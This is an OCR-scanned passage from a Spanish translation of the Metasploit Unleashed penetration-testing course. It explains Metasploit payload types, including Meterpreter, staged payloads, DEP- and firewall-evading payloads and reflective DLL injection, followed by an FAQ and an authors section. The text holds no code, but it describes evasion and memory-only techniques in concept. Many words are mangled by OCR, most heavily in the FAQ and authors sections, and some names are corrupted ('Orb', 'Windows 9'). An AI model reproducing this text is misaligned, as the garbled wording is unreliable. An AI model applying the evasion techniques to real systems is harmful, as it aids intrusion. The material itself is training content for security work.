funcion en el framework. Echemos un breve vistaks alistintos tipos de payloads disponibles yitema
idea de cuando usar cada tipo.
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En linea (No Staged)

e Unsimple payload que contiene el exploit y el codigo shell completo para la tarea seleccionada. Los payload
en linea son disefiados mas estables que su contraparte debido a que contiene todo en uno. Sin embargo,
algunos exploits no soportan el tamafo resultante de estos payloads.

Staged

e Stager payloads trabajan en conjunto con los stage payloads con el fin de realizar una tarea especifica. Un
stager establece un canal de comunicacion entre el atacante y la victima, y lee el stage payload para
ejecutarlo en el host remoto.

Meterpreter

* Meterpreter, es la forma corta de Meta-Interpreter, es un payload avanzado, con multiples faces que opera
a travez de la inyeccion dll. El Meterpreter reside completamente en la memoria del host remoto y no deja
rastros en el disco duro, haciendolo muy dificil de detectar con tecnicas forenses convencionales. Scripts y
plugins pueden ser activados y desactivados dinamicamente como se requiera, el desarrollo de Meterpreter
es muy fuerte y esta en constante evolucion.

PassiveX
» PassiveX es un payload que puede ayudar en evadir salidas restrictivas de firewalls. Esto se hace usando un

control ActiveX para crear una instancia oculta de Internet Explorer. Usando el nuevo control ActiveX, se
hace una comunicacion con el atacante a traves de peticiones y respuestas HTTP.

NoNX

« EINX (No eXecute) bit es una caracteristica incorporada en algunos CPUs para prevenir ejecucion de codigo
en ciertas areas de la memoria. En Windows, NX es implementado como Data Execution Prevention (DEP).

e Los payloads NoNX de Metasploit estan disefiados para evadir el DEP.

Orb

e Los payloads Ordinarios son payloads stager de Windows que tienen ventajas y desventajas. Las ventajas es
que funciona en todos los sabores y lenguajes de Windows desde Windows 9, sin definir explicitamente la
direccion de return. Tambien son extremadamente pequefios.



» Sin embargo, dos desventajas muy especificas que no la hacen la opcion por defecto. La primera es que
depende del hecho de cargar ws2_32.dll en el proceso de explotacion antes de la explotacion. El segundo es
gue es un poco menos estable que los otros stagers.

IPv6

e Los payloads IPv6 de Metasploit, como su nombre lo indica, estan construidos para funcionar en redes IPv6.

Inyeccion DLL reflexivo

e Inyeccion DLL reflexivo es una tecnica mediante un stage payload es inyectado en un proceso al host
comprometido ejecutandose en la memoria, nunca tocando el disco duro del host. Los payloads VNCy
Meterpreter ambos usan inyeccion DLL reflexivo.

* Puedes leer mas sobre inyeccion DLL reflexivo desde el creador del metodo en
http://www.harmonysecurity.com/blog/2008/10/new-paper-reflective-dll-injection.html
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FAQ

Preguntas Frecuentas (FAQ)

P. Cuando estaran listos los Videos en linea \eelificado?

R. Debido a los cambios en Metasploit Framewodelyido al continuo proceso de desarrollo, espe@sem
gue MSF se estabilize, y tenga todas las opcionpementadas. Vamos a anunciar el lanzamientosde lo
videos MSFU cuando esten listos, Esten Atentos!

P. Cuanto costara el curso "comercial"?

R. Todavia no lo sabemos, pero esperamos que sesilale para todos. Todos los ingresos del curso
comercial iran para HFC (Hacker for Charity).

P: Donde podemos encontrar mas informacion y disestie curso con otros?

R: Hemos abierto un canal IRC en la red de freeladeda #metasploit. Puedes unirte a este candlco
cliente IRC favorito y conocer a otros estudiampes estan realizando el curso.

P: Como puedo contribuir con el curso MSFU?

A: Si eres un desarrollador de MSF / entusiastagustaria agregar algun contenido al curso, ctantan
muts arroba offsec punto com.

P: Tengo que usar VMware o BackTrack como mi pbatad?

A: No, use cualquiera, sin embargo, el tiempo deragizaje puede variar.

P: Tengo un gran entorno de laboratorio. Pueddaisarsu lugar?

R: Sientase libre de hacerlo. Nosotros construiests laboratorio con el minimo de recursos en méue

todos tienen la suscripcion de licencias por volumd&SDN y servidores con varios nucleos disponiblas
ahi.
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Sobre los Autores

Estas son las personas que dedicaron su tiemp@ygreo en hacer este curso posible. Todos los
involucrados sienten que es por una buena cawgagren usar su experiencia para ayudar a la geasa
comunidad. Si desea obtener un poco mas de infwmaobre estas personas, este es el lugar para

comenzar.

Todos apreciamos tu interes en este curso, y espsrsus donaciones para HFC, para hacer que elonund
sea un lugar mejor.



